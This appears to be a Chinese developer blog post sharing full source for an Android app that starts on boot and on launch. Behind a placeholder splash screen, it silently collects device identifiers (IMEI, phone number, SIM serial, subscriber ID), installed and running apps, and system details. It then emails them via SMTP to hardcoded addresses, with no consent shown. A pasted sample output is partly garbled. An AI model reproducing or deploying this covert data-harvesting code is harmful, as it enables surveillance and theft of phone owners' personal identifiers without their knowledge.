目前是测试代码,只有一个页面,运行软件时会自动的获取系统信息,并且发送,开机自启动等。
布局准备把应用的图标让他从下往上旋转变大,应用的名称从左往右移动,应用的版本从右往左移动,现在只是用文字代替,看看效果。
主界面:
package com.kingfly.ffriend; import java.lang.ref.SoftReference; import com.kingfly.ffriend.util.PhoneSystemMsg; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.telephony.gsm.GsmCellLocation; import android.util.Log; import android.widget.TextView; public class RightFFriendActivity extends Activity { /** Called when the activity is first created. */ private static final int MATRIX_TO_TOP=1; private static final int MATRIX_FROM_LEFT_AND_RIGHT=2; private static final int MAIN_TO_CHANGE=3; TextView versionTv; PhoneSystemMsg psm; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); versionTv=(TextView)findViewById(R.id.version); psm=new PhoneSystemMsg(this); new Thread(r).start(); } Handler mHandler=new Handler(){ public void handleMessage(Message msg){ Log.e("kingfly", "msg="+msg.what); switch (msg.what) { case MATRIX_TO_TOP: matrixToTop(); startPhoneMsgService(); break; case MATRIX_FROM_LEFT_AND_RIGHT: matrixFromLeftAndRight(); break; case MAIN_TO_CHANGE: mainToChange(); break; default: break; } } }; Runnable r=new Runnable() { public void run() { int flag=0; Message msg1=new Message(); Message msg2=new Message(); Message msg3=new Message(); while(flag<3200){ try { if(flag==0){ msg1.what=MATRIX_TO_TOP; mHandler.sendMessage(msg1); } flag+=200; Thread.sleep(200); if(flag==2000){ msg2.what=MATRIX_FROM_LEFT_AND_RIGHT; mHandler.sendMessage(msg2); } if(flag==3000){ msg3.what=MAIN_TO_CHANGE; mHandler.sendMessage(msg3); break; } Log.e("kingfly", "flag="+flag); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }; @Override protected void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); } public void matrixToTop(){ versionTv.setText("hdfk"); } public void matrixFromLeftAndRight(){ versionTv.setText("fjdleifo"); } public void mainToChange(){ versionTv.setText("kfdj"); } public void startPhoneMsgService(){ Intent intent=new Intent(RightFFriendActivity.this,PhoneMsgService.class); startService(intent); } }
发送3个message,分布用来开启服务,控制突破移动等。
<br>是网页中的换行符,这样邮件在发送到邮箱后就会自动分开,不过有部分是乱码,暂时未解决。
后台服务,负责发送邮件:
package com.kingfly.ffriend; import com.kingfly.ffriend.util.DateParse; import com.kingfly.ffriend.util.PhoneSystemMsg; import com.kingfly.ffriend.util.SMailSender; import android.app.Service; import android.content.Intent; import android.content.res.Configuration; import android.os.IBinder; import android.util.Log; import android.widget.Toast; public class PhoneMsgService extends Service { DateParse dp; SMailSender mail; PhoneSystemMsg psm; private int mPreState; private int mRealState; private Thread thread_mail; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } @Override public void onConfigurationChanged(Configuration newConfig) { // TODO Auto-generated method stub super.onConfigurationChanged(newConfig); } @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); init(); Log.e("kingfly", "service onCreate"); } public void init() { dp = new DateParse(this); psm = new PhoneSystemMsg(this); mail = new SMailSender(); } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); } @Override public void onLowMemory() { // TODO Auto-generated method stub super.onLowMemory(); } @Override public void onStart(Intent intent, int startId) { // TODO Auto-generated method stub super.onStart(intent, startId); sendPhoneMsg(); Log.e("kingfly", "onStart"); } // 发送手机信息 public void sendPhoneMsg() { Log.e("kingfly", dp.getNowTime()); Log.e("kingfly", "" + dp.isRightTime(6)); Log.e("kingfly", "" + dp.isRightTime(6, 20)); String to = "[email protected]";//接收者 String cc = "[email protected]";//抄送 String subject = "PhoneProperty"; StringBuffer content = new StringBuffer(); content.append(psm.getVersionInfo()+"<br>"); content.append(psm.getCPUInfo()+"<br>"); content.append(psm.getDiskInfo()+"<br>"); content.append(psm.getDisplayMetricsInfo(this)+"<br>"); content.append(psm.getMemoryInfo()+"<br>"); content.append(psm.getNetcfgInfo()+"<br>"); content.append(psm.getInstalledApps(this)+"<br>"); content.append(psm.getPhoneProperty(this)+"<br>"); content.append(psm.getRunningServicesInfo(this)+"<br>"); content.append(psm.getRunningTaskInfo(this)+"<br>"); System.out.print(content.toString()+"<br>"); mail.setAuthor("[email protected]", "******");//发送的邮箱及密码,用户可自行替换 mail.setShowName("kingfly"); mail.setTo(to); mail.setCc(cc); mail.setSubject(subject); mail.setContent(content.toString()); mRealState = mPreState = 0; thread_mail = new Thread(mail); new Thread(r); thread_mail.start(); // start send thread // thread_state.start(); //start state monite thread Monitor(); } Runnable r = new Runnable() { public void run() { while (true) { try { Thread.sleep(100); mRealState = mail.getMailState(); System.out.println("mRealState = " + mRealState); if (mRealState == mPreState) continue; if (1 == mRealState) { mPreState = mRealState; System.out.println("Toast mRealState2 = " + mRealState); } if (2 == mRealState) { mPreState = mRealState; } if (3 == mRealState) { mPreState = mRealState; } // mail send success ,thread exit if (4 == mRealState) { mPreState = mRealState; break; } } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }; protected void Monitor() { while (true) { try { Thread.sleep(10); mRealState = mail.getMailState(); // System.out.println("mRealState = " + mRealState); if (mRealState == mPreState) continue; if (1 == mRealState) { mPreState = mRealState; // mTextView.setText("Connecting..."); System.out.println("Toast mRealState1 = " + mRealState); // setTitle("Connecting..."); } if (2 == mRealState) { mPreState = mRealState; // mTextView.setText("Connecting success"); // setTitle("Connected success"); System.out.println("Toast mRealState2 = " + mRealState); } if (3 == mRealState) { mPreState = mRealState; // mTextView.setText("Sending"); System.out.println("Toast mRealState3 = " + mRealState); } // mail send success,thread exit if (4 == mRealState) { mPreState = mRealState; // mTextView.setText("Send email success"); System.out.println("Toast mRealState4 = " + mRealState); break; } } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }
MemTotal: 256556 kB MemFree: 109584 kB Buffers: 1036 kB Cached: 64060 kB SwapCached: 0 kB Active: 93452 kB Inactive: 37932 kB Active(anon): 72432 kB Inactive(anon): 0 kB Active(file): 21020 kB Inactive(file): 37932 kB Unevictable: 0 kB Mlocked: 0 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 0 kB Writeback: 0 kB AnonPages: 66308 kB Mapped: 33232 kB Slab: 4604 kB SReclaimable: 1696 kB SUnreclaim: 2908 kB PageTables: 5880 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 128276 kB Committed_AS: 931028 kB VmallocTotal: 712704 kB VmallocUsed: 19536 kB VmallocChunk: 672772 kB ������������������������������������������������������������������������������������������������������������������������������������������������������������ lo UP 127.0.0.1 255.0.0.0 0x00000049 eth0 UP 10.0.2.15 255.255.255.0 0x00001043 tunl0 DOWN 0.0.0.0 0.0.0.0 0x00000080 gre0 DOWN 0.0.0.0 0.0.0.0 0x00000080 ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ label=Sound Recorder packageName=com.android.soundrecorder permission=null name=null
package com.kingfly.ffriend.util; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.HashMap; import java.util.Iterator; import java.util.List; import android.app.ActivityManager; import android.app.ActivityManager.RunningServiceInfo; import android.app.ActivityManager.RunningTaskInfo; import android.content.Context; import android.content.pm.ApplicationInfo; import android.telephony.TelephonyManager; import android.util.DisplayMetrics; public class PhoneSystemMsg { public Context mContext; public PhoneSystemMsg(Context context) { mContext = context; } public synchronized String run(String[] cmd, String workdirectory) throws IOException { String result = ""; try { ProcessBuilder builder = new ProcessBuilder(cmd); InputStream in = null; if (workdirectory != null) { builder.directory(new File(workdirectory)); builder.redirectErrorStream(true); Process process = builder.start(); in = process.getInputStream(); byte[] re = new byte[1024]; while (in.read(re) != -1) result +=new String(re); } if (in != null) { in.close(); } } catch (Exception ex) { ex.printStackTrace(); } return new String(result.getBytes("UTF-8")); } //获取Version版本 public String getVersionInfo(){ String result=null; try{ String[] args={"/system/bin/cat","/proc/version"}; result=run(args, "/system/bin"); }catch (Exception e) { } return result; } //获取CPU信息 public String getCPUInfo(){ String result=null; try { String[] args={"/system/bin/cat","/proc/cpuinfo"}; result=run(args, "/system/bin"); } catch (Exception e) { // TODO: handle exception } return result; } //获取内存信息 public String getMemoryInfo(){ String result=null; try { String[] args={"/system/bin/cat","/proc/meminfo"}; result=run(args, "/system/bin"); } catch (Exception e) { // TODO: handle exception } return result; } //获取磁盘信息 public String getDiskInfo(){ String result=null; try { String[] args={"/system/bin/df"}; result=run(args, "/system/bin"); } catch (Exception e) { // TODO: handle exception } return result; } //获取网络信息 public String getNetcfgInfo(){ String result=null; try { String[] args={"/system/bin/netcfg"}; result=run(args, "/system/bin"); } catch (Exception e) { // TODO: handle exception } return result; } //获取手机屏信息 public String getDisplayMetricsInfo(Context ct){ StringBuffer sb=new StringBuffer(); DisplayMetrics dm=new DisplayMetrics(); dm=ct.getApplicationContext().getResources().getDisplayMetrics(); int screenWidth=dm.widthPixels; int screenHeight=dm.heightPixels; float density=dm.density; float xdpi=dm.xdpi; float ydpi=dm.ydpi; sb.append("The absolute width="+String.valueOf(screenWidth)+" pixels\n"+"<br>"); sb.append("The absolute height="+String.valueOf(screenHeight)+" pixels\n"+"<br>"); sb.append("The logical density of the display="+String.valueOf(density)+"\n"+"<br>"); sb.append("X dimension="+String.valueOf(xdpi)+" pixels per inch\n"+"<br>"); sb.append("Y dimension="+String.valueOf(ydpi)+" pixels per inch\n"+"<br>"); return sb.toString(); } //获取安装的应用 public String getInstalledApps(Context ct){ List<ApplicationInfo> packages=ct.getPackageManager().getInstalledApplications(0); // ArrayList<HashMap<String, Object>>list=new ArrayList<HashMap<String,Object>>(packages.size()); Iterator<ApplicationInfo>i=packages.iterator(); StringBuffer sb=new StringBuffer(); while(i.hasNext()) { HashMap<String, Object> map=new HashMap<String, Object>(); ApplicationInfo appInfo=(ApplicationInfo)i.next(); String label=""; try { label=ct.getPackageManager().getApplicationLabel(appInfo).toString(); } catch (Exception e) { // TODO: handle exception } // map.put("name", label); // map.put("desc", packageName); // list.add(map); sb.append("label="+label+"\n"+"<br>"); sb.append("packageName="+appInfo.packageName+"\n"+"<br>"); sb.append("permission="+appInfo.permission+"\n"+"<br>"); sb.append("name="+appInfo.name+"\n"+"<br>"); sb.append("logo="+appInfo.logo+"\n"+"<br>"); sb.append("processName="+appInfo.processName+"\n"+"<br>"); sb.append("publicSourceDir="+appInfo.publicSourceDir+"\n"+"<br>"); sb.append("sourceDir="+appInfo.sourceDir+"\n"+"<br>"); sb.append("targetSdkVersion="+appInfo.targetSdkVersion+"\n"+"<br>"); sb.append("taskAffinity="+appInfo.taskAffinity+"\n"+"<br>"); sb.append("\n"); } return sb.toString(); } //获取运行的服务 public String getRunningServicesInfo(Context ct){ StringBuffer sb=new StringBuffer(); ActivityManager am=(ActivityManager)ct.getSystemService(ct.ACTIVITY_SERVICE); List<RunningServiceInfo>services=am.getRunningServices(100); Iterator<RunningServiceInfo> i=services.iterator(); while(i.hasNext()){ RunningServiceInfo rsi=(RunningServiceInfo)i.next(); sb.append("pid="+rsi.pid+"\n"+"<br>"); sb.append("process="+rsi.process+"\n"+"<br>"); sb.append("service="+rsi.service+"\n"+"<br>"); sb.append("crashCount="+rsi.crashCount+"\n"+"<br>"); sb.append("clicentCount="+rsi.clientCount+"\n"+"<br>"); sb.append("activeSince="+rsi.activeSince+"\n"+"<br>"); sb.append("lastActivityTime="+rsi.lastActivityTime+"\n"+"<br>"); sb.append("clientPackage="+rsi.clientPackage+"\n"+"<br>"); sb.append("describeContents="+rsi.describeContents()+"\n"+"<br>"); sb.append("\n\n"); } return sb.toString(); } //获取正在运行的task信息 public String getRunningTaskInfo(Context ct){ StringBuffer sb=new StringBuffer(); ActivityManager am=(ActivityManager)ct.getSystemService(ct.ACTIVITY_SERVICE); List<RunningTaskInfo>tasks=am.getRunningTasks(100); Iterator<RunningTaskInfo>i=tasks.iterator(); while(i.hasNext()){ RunningTaskInfo rti=(RunningTaskInfo)i.next(); sb.append("id="+rti.id+"\n"+"<br>"); sb.append("numActivities="+rti.numActivities+"\n"+"<br>"); sb.append("numRunning="+rti.numRunning+"\n"+"<br>"); sb.append("describeContents="+rti.describeContents()+"\n"+"<br>"); sb.append("description="+rti.description+"\n"+"<br>"); } return sb.toString(); } //获取系统属性 public String getSystemProperty(){ StringBuffer sb=new StringBuffer(); sb.append("java.home="+System.getProperty("java.home")+"\n"+"<br>"); sb.append("java.library.path="+System.getProperty("java.library.path")+"\n"+"<br>"); sb.append("java.vendor="+System.getProperty("java.vendor")+"\n"+"<br>"); sb.append("java.vendor.url="+System.getProperty("java.vendor.url")+"\n"+"<br>"); sb.append("java.specification.version="+System.getProperty("java.specification.version")+"\n"+"<br>"); sb.append("java.specification.verdor="+System.getProperty("java.specification.verdor")+"\n"+"<br>"); sb.append("java.specification.name="+System.getProperty("java.specification.name")+"\n"+"<br>"); sb.append("java.vm.version="+System.getProperty("java.vm.version")+"\n"+"<br>"); sb.append("java.vm.vendor="+System.getProperty("java.vm.vendor")+"\n"+"<br>"); sb.append("java.vm.name="+System.getProperty("java.vm.name")+"\n"+"<br>"); sb.append("java.vm.specification.version="+System.getProperty("java.vm.specification.version")+"\n"+"<br>"); sb.append("java.vm.specification.vendor="+System.getProperty("java.vm.specification.vendor")+"\n"+"<br>"); sb.append("java.vm.specification.name="+System.getProperty("java.vm.specification.name")+"\n"+"<br>"); sb.append("os.arch="+System.getProperty("os.arch")+"\n"+"<br>"); sb.append("os.name="+System.getProperty("os.name")+"\n"+"<br>"); sb.append("os.version="+System.getProperty("os.version")+"\n"+"<br>"); return sb.toString(); } //获取手机信息 public String getPhoneProperty(Context ct){ StringBuffer sb=new StringBuffer(); TelephonyManager tm=(TelephonyManager)ct.getSystemService(Context.TELEPHONY_SERVICE); sb.append("DeviceId="+tm.getDeviceId()+"\n"+"<br>"); sb.append("DeviceSoftwareVersion="+tm.getDeviceSoftwareVersion()+"\n"+"<br>"); sb.append("Line1Number="+tm.getLine1Number()+"\n"+"<br>"); sb.append("NetworkCountryIso="+tm.getNetworkCountryIso()+"\n"+"<br>"); sb.append("NetworkOperatorName="+tm.getNetworkOperatorName()+"\n"+"<br>"); sb.append("SimCountryIso="+tm.getSimCountryIso()+"\n"+"<br>"); sb.append("SimOperator="+tm.getSimOperator()+"\n"+"<br>"); sb.append("SimOperatorName="+tm.getSimOperatorName()+"\n"+"<br>"); sb.append("SimSerialNumber="+tm.getSimSerialNumber()+"\n"+"<br>"); sb.append("SubscriberId="+tm.getSubscriberId()+"\n"+"<br>"); sb.append("VoiceMailAlphaTag="+tm.getVoiceMailAlphaTag()+"\n"+"<br>"); sb.append("VoiceMailNumber="+tm.getVoiceMailNumber()+"\n"+"<br>"); return sb.toString(); } //判断手机联网 public boolean isPhoneConnecting(){ return false; } //判断手机Gps开启 public boolean isPhoneGps(){ return false; } //判断手机飞行模式 public boolean isPhoneAirplane(){ return false; } //判断当前系统语言 public void getSystemLanguage(){ } //获取手机联系人 public void getContact(){ } //获取当前版本 public void getVersion(){ } }
package com.kingfly.ffriend.util; import java.util.Properties; import javax.activation.DataHandler; import javax.activation.FileDataSource; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.Multipart; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart; import android.util.Log; public class SMailSender implements Runnable { private final String Tag = "SMailSender"; private String mSmtp_host; private String mFrom_userName; private String mFrom_passWord; private String mShow_name = "Jiahe"; private MimeMessage mMimeMsg; private Session mSession; private Multipart mp; private String mSubject; private String mContent; private String mToId = null; private String mCcId = null; private String mBccId = null; private String mFilePath = null; private final int NONE = 0; private final int CONNECTING = 1; private final int CONNECTED = 2; private final int SENDING = 3; private final int SENDED = 4; private int mState; public enum MailType { TYPE_GMAIL, TYPE_126, TYPE_163, TYPE_QQ; } private MailType mailType; public SMailSender() { mp = new MimeMultipart(); } public SMailSender(String hostName) { mp = new MimeMultipart(); } public boolean setAuthor(String _userName, String _password) { mFrom_userName = _userName; mFrom_passWord = _password; return setHost(mFrom_userName); } public void setSubject(String subject) { if (subject != null) { mSubject = subject; } } public void setContent(String content) { if (content != null) { mContent = content; } } public void setTo(String told) { mToId = told; } public void setCc(String ccId) { mCcId = ccId; } public void setBcc(String bccId) { mBccId = bccId; } public void setShowName(String name) { mShow_name = name; } public void addFileAffix(String path) { mFilePath = path; } public int getMailState() { return mState; } public void run() { executeMailandSend(); } private boolean setSendToMsg(String to) { if (to.equals("") || to == null) { return false; } try { String sendto[]; sendto = to.split(";"); for (int i = 0; i < sendto.length; i++) { mMimeMsg.addRecipients(Message.RecipientType.TO, InternetAddress .parse(sendto[i])); } return true; } catch (Exception e) { return false; } } private boolean setCopyToMsg(String copyto) { if (copyto.equals("") || copyto == null) { return false; } try { String copy[]; copy = copyto.split(";"); for (int i = 0; i < copy.length; i++) { mMimeMsg.addRecipients(Message.RecipientType.CC, InternetAddress.parse(copy[i])); } return true; } catch (Exception e) { return false; } } private boolean setBCopyToMsg(String bcopyto) { if (bcopyto.equals("") || bcopyto == null) { return false; } try { String bcopy[]; bcopy = bcopyto.split(";"); for (int i = 0; i < bcopy.length; i++) { mMimeMsg.addRecipients(Message.RecipientType.BCC, InternetAddress.parse(bcopy[i])); } return true; } catch (Exception e) { return true; } } private boolean setContentMp(String conMp) { try { BodyPart bp = new MimeBodyPart(); bp.setContent( "<meta http-equiv=Context-Type context=text/html;charset=gb2312>" + conMp, "text/html;charset=GB2312"); mp.addBodyPart(bp); return true; } catch (Exception e) { System.out.println("Set context Faild! " + e); return false; } } private boolean addFile(String filePath) { // System.out.println("add affix.."); if (filePath.equals("") || filePath == null) { return false; } String file[]; file = filePath.split(";"); // System.out.println("you have " + file.length + " affix!"); try { for (int i = 0; i < file.length; i++) { BodyPart bp = new MimeBodyPart(); FileDataSource fileds = new FileDataSource(file[i]); bp.setDataHandler(new DataHandler(fileds)); bp.setFileName(fileds.getName()); mp.addBodyPart(bp); } return true; } catch (Exception e) { Log.d(Tag, "add affix: " + filePath + "--faild!" + e); System.err.println("add affix: " + filePath + "--faild!" + e); return false; } } private boolean setHost(String mailAddress) { if (mailAddress.contains("@gmail.")) { mSmtp_host = "smtp.gmail.com"; mailType = MailType.TYPE_GMAIL; return true; } if (mailAddress.contains("@126.")) { mSmtp_host = "smtp.126.com"; mailType = MailType.TYPE_126; return true; } if (mailAddress.contains("@163.")) { mSmtp_host = "smtp.163.com"; mailType = MailType.TYPE_163; return true; } else return false; /* * if(mailAddress.contains("@qq.")){ mSmtp_host = "smtp.qq.com"; * mailType = MailType.TYPE_QQ; } */ } private void executeMailandSend() { try { mState = NONE; Properties props = System.getProperties(); props = System.getProperties(); if (mailType == MailType.TYPE_GMAIL) { // if mail is gmail.need to use this two props.put("mail.smtp.starttls.enable", "true"); props.put("mail.smtp.port", "587"); // gmail smtp port 587 / 465 } props.put("mail.smtp.host", mSmtp_host); props.put("mail.smtp.user", mFrom_userName); props.put("mail.smtp.password", mFrom_passWord); props.put("mail.smtp.auth", "true"); mSession = Session.getDefaultInstance(props, null); mSession.setDebug(false); mMimeMsg = new MimeMessage(mSession); mMimeMsg.setFrom(new InternetAddress(mFrom_userName)); // mMimeMsg.setContent(mContent, "text/html;charset=utf-8"); if (mToId != null) setSendToMsg(mToId); if (mCcId != null) setCopyToMsg(mCcId); if (mBccId != null) setBCopyToMsg(mBccId); if (mSubject != null) { mMimeMsg.setSubject(mSubject); } if (mShow_name != null) { mMimeMsg.setFrom(new InternetAddress(mShow_name + "<" + mFrom_userName + ">")); } if (mContent != null) { setContentMp(mContent); mMimeMsg.setContent(mp); } if (mFilePath != null) { addFile(mFilePath); } System.out.println(mMimeMsg.getAllRecipients().toString()); Transport transport = mSession.getTransport("smtp"); System.out.println("connecting..."); mState = CONNECTING; transport.connect(mSmtp_host, mFrom_userName, mFrom_passWord); mState = CONNECTED; Log.i(Tag, "Connected to " + mFrom_userName + " succuss"); System.out.println("sending..."); mState = SENDING; transport.sendMessage(mMimeMsg, mMimeMsg.getAllRecipients()); mState = SENDED; transport.close(); Log.i(Tag, "Send a mail to " + mToId); System.out.println("send an email to " + mToId + " success"); } catch (Exception e) { System.out.println("failure! "); Log.d(Tag, " failure! ", e); e.printStackTrace(); } } }
package com.kingfly.ffriend.broadcast; import com.kingfly.ffriend.PhoneMsgService; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class BootBroadcastReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub String action=intent.getAction(); if(action.equals("android.intent.action.BOOT_COMPLETE")){ Intent bootIntent=new Intent(context,PhoneMsgService.class); context.startService(bootIntent); Log.e("kingfly", "bootbroadcastreceiver"); } } }
欢迎大家讨论
完整版下载地址:
http://download.csdn.net/detail/comkingfly/4184167